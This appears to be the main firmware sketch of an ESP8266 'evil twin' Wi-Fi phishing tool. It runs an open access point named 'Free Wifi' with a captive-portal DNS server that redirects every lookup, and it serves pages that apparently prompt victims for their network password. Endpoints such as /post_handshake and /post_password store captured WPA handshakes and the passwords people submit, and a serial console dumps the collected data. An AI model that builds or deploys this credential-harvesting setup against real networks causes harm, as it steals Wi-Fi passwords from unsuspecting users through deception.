1#include <ESP8266WebServer.h>
2#include <DNSServer.h>
3#include <ArduinoJson.h>
4#include <LittleFS.h>
5
6#include "utils.h"
7#include "wifi.h"
8#include "server.h"
9
10
11// Global variables
12IPAddress APIP(172, 0, 0, 1);
13const byte DNS_PORT = 53;
14DNSServer dnsServer;
15ESP8266WebServer server(80);
16
17
18void setup()
19{
20 Serial.begin(115200);
21 Serial.println("\nBooting");
22 if (!LittleFS.begin()) {
23 Serial.println("Failed to mount file system");
24 return;
25 }
26 Serial.println("File system mounted");
27 initialServerSetup(APIP);
28 dnsServer.start(DNS_PORT, "*", APIP);
29
30 server.on("/", [](){handleRequest(server, "/index.html.gz","html");});
31 server.on("/handshake", [](){handleRequest(server, "/handshake.html.gz","html");});
32 server.on("/ssid", [](){handleRequest(server, "/ssid.html.gz","html");});
33 server.on("/final", [](){handleRequest(server, "/final.html.gz","html");});
34
35 server.on("/jquery.min.js", [](){handleRequest(server,"/jquery.min.js.gz","js");});
36 server.on("/bootstrap.min.js", [](){handleRequest(server,"/bootstrap.min.js.gz","js");});
37 server.on("/capfile.js", [](){handleRequest(server,"/capfile.js.gz","js");});
38 server.on("/crypto.js", [](){handleRequest(server,"/crypto.js.gz","js");});
39
40 server.on("/post_ssid", [](){String ssid = server.arg("ssid");changeWifi(ssid);});
41 server.on("/post_handshake",[]() {handlePostHandshake(server);});
42 server.on("/post_password",[]() {handlePostPassword(server); BLINK(5); });
43 server.on("/get_datas",[]() {server.send(200, "application/json", getDatas());});
44 server.on("/clear_handshakes",[]() {server.send(200, "application/json", clearHandshakes());});
45 server.on("/clear_passwords",[]() {server.send(200, "application/json", clearPasswords());});
46
47 server.onNotFound([](){handleNotFound(server);});
48
49 server.begin();
50 pinMode(BUILTIN_LED, OUTPUT);
51 digitalWrite(BUILTIN_LED, HIGH);
52}
53
54void loop()
55{
56 if (Serial.available()) {
57 String inputString = Serial.readStringUntil('\n');
58 const char *buffer = inputString.c_str();
59
60 if(strcmp(buffer,"help") == 0){
61 Serial.println("Available commands:");
62 Serial.println("help - show this message");
63 Serial.println("ls - list files");
64 Serial.println("show config - show config file");
65 Serial.println("show datas - show datas file");
66 Serial.println("reset ssid - reset ssid to default(Free Wifi)");
67 Serial.println("storage info - show storage info");
68 }
69
70 else if (strcmp(buffer, "ls") == 0) {
71 Serial.println("Listing files...");
72 listDir("/",1);
73 Serial.println("");
74 }
75
76 else if (strcmp(buffer, "show config") == 0) {
77 Serial.println("Reading config file...");
78 DynamicJsonDocument config = readJsonFile("/json/config.json");
79 serializeJson(config, Serial);
80 Serial.println("");
81 }
82
83 else if (strcmp(buffer, "show datas") == 0) {
84 Serial.println("Reading datas file...");
85 String datas = getDatas();
86 Serial.println(datas);
87 Serial.println("");
88 }
89
90 else if (strcmp(buffer,"reset ssid") == 0){
91 Serial.println("Resetting config file...");
92 DynamicJsonDocument config = readJsonFile("/json/config.json");
93 config.clear();
94 config["ssid"] = "Free Wifi";
95 writeJsonFile("/json/config.json", config);
96 setupWifi();
97 }
98 else if (strcmp(buffer,"storage info") == 0){
99 Serial.println("Calculating Space...");
100 storageInfo();
101 }
102
103 else {
104 Serial.println("Invalid command");
105 Serial.println("Type help to see available commands");
106 }
107 Serial.println("");
108 }
109 dnsServer.processNextRequest();
110 server.handleClient();
111}